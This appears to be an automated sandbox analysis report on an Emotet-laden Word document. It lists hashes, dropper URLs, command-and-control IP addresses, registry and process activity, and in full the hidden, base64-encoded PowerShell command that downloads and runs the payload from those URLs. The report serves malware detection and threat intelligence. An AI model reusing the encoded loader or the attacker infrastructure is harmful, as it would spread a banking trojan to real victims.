emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
132s
max time network
145s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-28_215410.doc
Size

174KB
MD5

fbbcba291cd7a67403d2b45d0e4b765d
SHA1

88432ef44418de3c79526a8da93f2e97b431f6f8
SHA256

7755cec6cd9081d3a88cba67a82180577fe7e6ea3d4c2b7b9d5157d483c282fe
SHA512

85466e157925d3433cf01d0d769be5334e4cfb0e43a06e891fbd22d582c603be805c58d7658b1b13eb78279460f8aff745154b60e91f55d69e6c733bcd02378b

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.siyinjichangjia.com/wp-content/zbw/

exe.dropper

http://jamesrcook.us/2ipto/tmVoR/

exe.dropper

http://giatlalaocai.com/87/pvg/

exe.dropper

http://www.jalanuang.com/wp-content/cfxs40/

exe.dropper

https://www.craftqualitysolutions.com/wp-content/N/

Extracted

Family

emotet

162.241.92.219:8080

74.208.45.104:8080

59.103.164.174:80

105.27.155.182:80

85.152.174.56:80

62.75.187.192:8080

24.105.202.216:443

24.164.79.147:8080

190.143.39.231:80

190.146.205.227:8080

190.53.135.159:21

93.147.141.5:443

104.236.246.93:8080

42.200.226.58:80

70.180.35.211:80

90.69.145.210:8080

115.65.111.148:443

210.6.85.121:80

66.34.201.20:7080

174.83.116.77:80

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1852 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2004	1964	Powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

Powershell.exe270.exespacesymbol.exe

description	pid	process	target process
PID 2004 wrote to memory of 1404	2004	Powershell.exe	270.exe
PID 2004 wrote to memory of 1404	2004	Powershell.exe	270.exe
PID 2004 wrote to memory of 1404	2004	Powershell.exe	270.exe
PID 2004 wrote to memory of 1404	2004	Powershell.exe	270.exe
PID 1404 wrote to memory of 1548	1404	270.exe	270.exe
PID 1404 wrote to memory of 1548	1404	270.exe	270.exe
PID 1404 wrote to memory of 1548	1404	270.exe	270.exe
PID 1404 wrote to memory of 1548	1404	270.exe	270.exe
PID 1632 wrote to memory of 1620	1632	spacesymbol.exe	spacesymbol.exe
PID 1632 wrote to memory of 1620	1632	spacesymbol.exe	spacesymbol.exe
PID 1632 wrote to memory of 1620	1632	spacesymbol.exe	spacesymbol.exe
PID 1632 wrote to memory of 1620	1632	spacesymbol.exe	spacesymbol.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{D6F9D832-765F-4A4E-8A61-9F1F6DC4E118}\2.0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{D6F9D832-765F-4A4E-8A61-9F1F6DC4E118}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{D6F9D832-765F-4A4E-8A61-9F1F6DC4E118}\2.0\HELPDIR	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{D6F9D832-765F-4A4E-8A61-9F1F6DC4E118}\2.0\0\win32	WINWORD.EXE

Drops file in System32 directory 3 IoCs

Processes:

Powershell.exe270.exespacesymbol.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe
File renamed	C:\Users\Admin\270.exe => C:\Windows\SysWOW64\spacesymbol.exe	270.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	spacesymbol.exe

Office loads VBA resources, possible macro or embedded object present
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

WINWORD.EXE270.exe270.exespacesymbol.exespacesymbol.exe

pid	process
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1404	270.exe
1548	270.exe
1632	spacesymbol.exe
1620	spacesymbol.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 2004 Powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Powershell.exespacesymbol.exe

pid process

2004 Powershell.exe
2004 Powershell.exe
2004 Powershell.exe
1620 spacesymbol.exe
Blacklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow pid process

4 2004 Powershell.exe
6 2004 Powershell.exe
8 2004 Powershell.exe
Executes dropped EXE 4 IoCs

Processes:

270.exe270.exespacesymbol.exespacesymbol.exe

pid process

1404 270.exe
1548 270.exe
1632 spacesymbol.exe
1620 spacesymbol.exe
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

270.exespacesymbol.exe

pid process

1548 270.exe
1620 spacesymbol.exe

description	pid	process
Token: SeDebugPrivilege	2004	Powershell.exe

pid	process
2004	Powershell.exe
2004	Powershell.exe
2004	Powershell.exe
1620	spacesymbol.exe

flow	pid	process
4	2004	Powershell.exe
6	2004	Powershell.exe
8	2004	Powershell.exe

pid	process
1404	270.exe
1548	270.exe
1632	spacesymbol.exe
1620	spacesymbol.exe

pid	process
1548	270.exe
1620	spacesymbol.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-28_215410.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1852

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABNAGwAcQBwAGgAcgB4AGgAagB0AGIAcAA9ACcAWQBpAHkAbQB0AHkAcQByAGcAeAB0ACcAOwAkAE8AYQBoAGcAZABiAGwAdgBqACAAPQAgACcAMgA3ADAAJwA7ACQARwBnAGEAYgBlAGoAdABhAHUAcABtAG0AYgA9ACcATQBuAGwAdQByAGYAdABtACcAOwAkAEcAbABsAGUAdABkAHoAcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATwBhAGgAZwBkAGIAbAB2AGoAKwAnAC4AZQB4AGUAJwA7ACQASgBkAHUAZgB0AHYAYQB6AHgAYQBjAD0AJwBMAGMAdQB4AG8AagBhAGgAJwA7ACQARwB6AHIAeABjAGoAdgBwAGIAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBsAGkARQBOAFQAOwAkAFAAbABjAHEAdQBqAHQAZAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHMAaQB5AGkAbgBqAGkAYwBoAGEAbgBnAGoAaQBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AegBiAHcALwAqAGgAdAB0AHAAOgAvAC8AagBhAG0AZQBzAHIAYwBvAG8AawAuAHUAcwAvADIAaQBwAHQAbwAvAHQAbQBWAG8AUgAvACoAaAB0AHQAcAA6AC8ALwBnAGkAYQB0AGwAYQBsAGEAbwBjAGEAaQAuAGMAbwBtAC8AOAA3AC8AcAB2AGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBqAGEAbABhAG4AdQBhAG4AZwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGMAZgB4AHMANAAwAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBjAHIAYQBmAHQAcQB1AGEAbABpAHQAeQBzAG8AbAB1AHQAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAE4ALwAnAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AdABqAGkAbQBhAHUAbQB1AD0AJwBVAGcAegB2AGEAdQBsAG4AZABoACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAGYAZQBtAG0AdQBvAHkAZABpAHIAdgBrACAAaQBuACAAJABQAGwAYwBxAHUAagB0AGQAKQB7AHQAcgB5AHsAJABHAHoAcgB4AGMAagB2AHAAYgAuACIAZABgAG8AYAB3AE4AYABMAG8AYQBEAEYAaQBsAEUAIgAoACQAWQBmAGUAbQBtAHUAbwB5AGQAaQByAHYAawAsACAAJABHAGwAbABlAHQAZAB6AHAAKQA7ACQATgBhAHIAeABpAGYAYwBpAGoAbQB1AGcAPQAnAE4AbwB5AGQAbgBoAGIAcABxAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABHAGwAbABlAHQAZAB6AHAAKQAuACIAbABgAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMANgAzADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAHIAVAAiACgAJABHAGwAbABlAHQAZAB6AHAAKQA7ACQAUABwAHQAdABiAG0AYQB3AGgAdQBjAD0AJwBTAGoAYgBpAGwAcwBqAHEAZwAnADsAYgByAGUAYQBrADsAJABBAHQAdAByAHgAagB2AGIAZgBzAG4APQAnAFMAdAB1AGsAbgBmAHQAdgByAGcAcAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAGsAYwBzAHcAaQByAGYAdABoAHMAPQAnAFgAeQBhAGcAcABlAHEAbQBxAHIAeQB6AGMAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2004

C:\Users\Admin\270.exe
"C:\Users\Admin\270.exe"
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1404

C:\Users\Admin\270.exe
--5ff2d549
3⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:1548

C:\Windows\SysWOW64\spacesymbol.exe
"C:\Windows\SysWOW64\spacesymbol.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1632

C:\Windows\SysWOW64\spacesymbol.exe
--3bd70294
2⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:1620

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\270.exe

Download Submit
C:\Users\Admin\270.exe

Download Submit
C:\Users\Admin\270.exe

Download Submit
C:\Windows\SysWOW64\spacesymbol.exe

Download Submit
C:\Windows\SysWOW64\spacesymbol.exe

Download Submit
memory/1404-9-0x00000000002D0000-0x00000000002E5000-memory.dmp

Filesize
84KB

Download
memory/1548-12-0x0000000000390000-0x00000000003A5000-memory.dmp

Filesize
84KB

Download
memory/1548-13-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1620-17-0x0000000000330000-0x0000000000345000-memory.dmp

Filesize
84KB

Download
memory/1620-18-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1632-15-0x0000000000290000-0x00000000002A5000-memory.dmp

Filesize
84KB

Download
memory/1852-3-0x00000000073E0000-0x00000000075E0000-memory.dmp

Filesize
2.0MB

Download
memory/1852-2-0x00000000073E0000-0x00000000075E0000-memory.dmp

Filesize
2.0MB

Download
memory/1852-1-0x00000000073E0000-0x00000000075E0000-memory.dmp

Filesize
2.0MB

Download
memory/1852-4-0x0000000007FF0000-0x0000000007FF4000-memory.dmp

Filesize
16KB

Download
memory/1852-0-0x0000000004450000-0x0000000004454000-memory.dmp

Filesize
16KB

Download
memory/1852-6-0x000000000A170000-0x000000000A174000-memory.dmp

Filesize
16KB

Download